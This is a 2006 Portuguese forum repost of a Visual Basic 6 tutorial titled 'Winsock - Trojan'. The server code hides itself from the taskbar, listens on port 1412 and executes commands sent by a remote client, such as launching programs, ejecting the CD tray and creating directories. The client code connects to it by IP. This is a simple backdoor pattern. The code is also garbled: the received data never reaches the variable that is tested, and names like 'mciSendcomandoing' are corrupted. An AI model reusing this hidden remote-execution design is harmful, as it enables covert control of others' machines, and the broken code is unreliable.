[Tutorial]Winsock - Trojan

Started by Sladrak, 09 de June , 2006, 08:34:28 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Sladrak

Artigo retirado de www.macoratti.net

O projeto Servidor

No projeto Servidor temos o código do evento Load do formulário onde o servidor fica 'escutando' uma porta(no meu caso a porta 1412) aguardando uma conexão. Abaixo o formulário - frmServidor - e o código do evento Load:



Private Sub Form_Load()

On Error Resume Next

If Not App.PrevInstance = True Then
     winsockServidor.LocalPort = 1412
     winsockServidor.Listen
     EsconderDaBarraDeTarefas
Else
     Unload Me
End If

End Sub

A seguir no evento DataArrival (ativado quando o comando estiver sendo enviado) do Servidor esta o código que irá processar os comandos recebidos do cliente e executar o serviço solicitado.

Private Sub winsockServidor_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next
Dim comando As String

winsockServidor.GetData str

Select Case comando
   Case "note"
      Shell "notepad.exe", vbMaximizedFocus
   Case "calc"
      Shell "calc.exe", vbMaximizedFocus
   Case "pain"
      Shell "pbrush", vbMaximizedFocus
   Case "close"
      CloseMe
   Case "ctrl"
      Shell "control", vbMaximizedFocus
   Case "mplayer"
      Shell "mplayer", vbMaximizedFocus
   Case "scan"
      Shell "scandskw", vbMaximizedFocus
   Case "cddooropen"
       retvalue = mciSendcomandoing("set CDAudio door open", returncomandoing, 127, 0)
   Case "dir"
       CriaNovoDiretorio ("c:\macoratti\Teste1\")
   Case "closeme"
       winsockServidor.Close
       Unload Me
    Case "wintime"
       Dim lngReturn As Long
      lngReturn = GetTickCount()
       info = ((lngReturn / 1000) / 60) & " minutos."
      winsockServidor.SendData info
End Select
End Sub

O projeto Cliente

O projeto cliente irá possui a interface mostrada na figura abaixo. Nela temos o controle winsock configurado para efetuar a conexão com o servidor na porta 1412 através de um número IP fornecido. Após a conexão ser efetivada podemos enviar alguns comandos que serão acionados quando você clicar em um dos botões de comando.



O código do botão - Conectar - é o seguinte :

Private Sub Command1_Click()

On Error GoTo err_Command1_Click

winsockCliente.RemotePort = 1412
If txtConectarServidor.Text = "" Then
    MsgBox "Informe o endereço IP do servidor"
Else
   winsockCliente.RemoteHost = txtConectarServidor.Text
   winsockCliente.Connect
End If

If winsockCliente.State = sckConnected Then
    Me.Caption = "Conectado ao servidor remoto " & txtConectarServidor.Text
    frmPainel.Enabled = True
Else
    Me.Caption = "Não conectado ao servidor remoto " & txtConectarServidor.Text
    frmPainel.Enabled = False
End If

Exit Sub

err_Command1_Click:
Screen.MousePointer = vbNormal
MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _
              "Procedure: Command1_Click" & vbCrLf & vbTab & _
             "Erro No. : " & Err.Number & vbCrLf & vbTab & _
             "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName
End Sub

Cada evento Click de cada botão de comando irá enviar um comando para o servidor. Abaixo alguns dos comandos enviados:
Private Sub cmdcalc_Click()
On Error GoTo err_cmdcalc_Click

Dim comando As String
comando = "calc"
winsockCliente.SendData comando

Exit Sub

err_cmdcalc_Click:
Screen.MousePointer = vbNormal
MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _
           "Procedure: cmdcalc_Click" & vbCrLf & vbTab & _
           "Erro No. : " & Err.Number & vbCrLf & vbTab & _
           "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName
End Sub


Private Sub Command4_Click()
   Dim comando As String
   comando = "scan"
   winsockCliente.SendData comando
End Sub

Private Sub Command7_Click()
   Dim comando As String
   comando = "dir"
   winsockCliente.SendData comando
   MsgBox "O diretorio c:\macoratti\Teste1\ foi criado. " & winsockCliente.RemoteHost
End Sub


TUTORIAL BY Macoratti

Link: http://www.macoratti.net/vb_rmt1.htm

branco

Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?